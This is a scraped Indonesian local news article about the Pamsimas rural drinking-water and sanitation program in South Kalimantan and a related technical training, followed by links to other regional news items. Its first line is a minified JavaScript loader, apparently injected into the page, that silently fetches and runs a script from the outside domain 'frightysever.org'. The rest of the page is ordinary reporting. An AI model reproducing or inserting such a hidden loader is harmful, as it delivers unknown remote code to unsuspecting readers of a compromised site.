(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PUPR PROV KALSEL

Empat Kabupaten Dapat Anggaran Pamsimas, PUPR Kalsel Gelar Bimtek


KANALKALIMANTAN.COM, BANJARBARU – Program Penyediaan Air Minum dan Sanitasi Berbasis Masyarakat (Pamsimas) telah memberikan kontribusi yang besar terhadap pencapaian akses layanan air minum di Kalimantan Selatan (Kalsel), khususnya di perdesaan.

Pemerintah Provinsi Kalimantan Selatan mengharapkan program Pamsimas agar dapat terus dilanjutkan untuk meningkatkan ketersediaan air bersih bagi masyarakat pedesaan.

Hal tersebut disampaikan Kepala Dinas PUPR Kalsel, Ahmad Solhan melalui Kepala Seksi Penyehatan Lingkungan Permukiman dan Air Minum, Angga Rinaldi Rizal saat kegiatan Bimbingan Teknis Program Pamsimas dengan tema “Optimalisasi peran daerah dalam mendukung keberlanjutan program Pamsimas di Kalsel” di Banjarbaru, Rabu (10/5/2023).

Angga mengatakan, program Pamsimas telah memberikan kontribusi yang besar terhadap pencapaian akses layanan air minum di Kalsel khususnya di perdesaan.

Baca juga: Korupsi Dana KIP Mahasiswa, Eks Wakil Rektor UNU Kalsel Dituntut 7,5 Tahun Penjara

“Jadi program Pamsimas berfungsi sebagai ujung tombak dalam pemenuhan penyediaan air minum bagi di pedesaan yang tidak terjangkau oleh PDAM,” katanya.

Selain itu, berdasar kebijakan Pemerintah Pusat program Pamsimas tahun 2023 setiap Provinsi hanya mendapatkan empat daerah (kabupaten) yang mendapatkan bantuan anggaran.

“Kalsel hanya empat daerah mendapatkan anggaran program Pamsimas yaitu Kabupaten Barito Kuala, Kabupaten Banjar, Kabupaten Tanahlaut dan Kabupaten Tanahbumbu,” ujar dia.

Oleh karena itu, dalam upaya untuk mereplikasi agar program Pamsimas ini tetap berlanjut di kabupaten lain, maka Dinas PUPR Kalsel memandang perlu mengadakan bimtek, agar dapat memahami dan mengimplementasikan pelaksanaan program Pamsimas secara terus menerus dengan memaksimalkan potensi yang ada di kabupaten maupun pada pemerintahan desa.

“Apalagi program Pamsimas ini sangat berkaitan dengan pencegahan stunting. Karena kalau pemenuhan air bersih lancar di pedesaan, maka akan mencegah terjadinya stunting dan kurang gizi,” pungkas dia. (kanalkalimantan.com/MCKalsel/kk)

Reporter: kk
Editor: Dhani


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.